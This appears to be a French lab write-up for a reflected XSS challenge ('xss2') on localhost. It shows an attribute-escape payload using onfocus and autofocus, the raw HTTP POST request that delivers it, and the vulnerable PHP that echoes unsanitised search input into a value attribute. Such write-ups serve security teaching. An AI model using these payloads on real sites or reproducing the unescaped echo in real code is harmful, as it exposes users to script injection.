xss2
Exploitation
Le second challenge propose une fonctionnalité de recherche :

Lorsque je renseigne un mot clé, il n'est pas réfléchi dans le message d'erreur mais est présent en tant que valeur du champ de recherche :

value
est un attribut HTML safe, l'injection ne peut se faire directement. Je vais donc préparer ma payload afin de m'échapper de cet attribut puis forger mon attaque. Il y a plusieurs solutions ici mais je choisis de passer par un autofocus whatever" onfocus="alert(1)" autofocus x="
:
POST /xss2/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss2/
Upgrade-Insecure-Requests: 1
search=whatever%22+onfocus%3D%22alert%281%29%22+autofocus+plop%3D%22&submit=Envoyer

Analyse du code source
La valeur du paramètre $keyword
, récupérée depuis la variable $_POST['search']
est affichée directement grâce à la directive echo
en tant que valeur de l'attribut HTML value
. Aucune protection étant en place, l'injection est donc évidente :
<?php
if (isset ($_POST['submit']) && isset ($_POST['search'])) {
$keyword = $_POST['search'];
}
?>
<input type="text" class="form-control" id="search" name="search" value="<?php if (isset ($keyword) && !empty ($keyword)){ echo $keyword; }?>"
Dernière mise à jour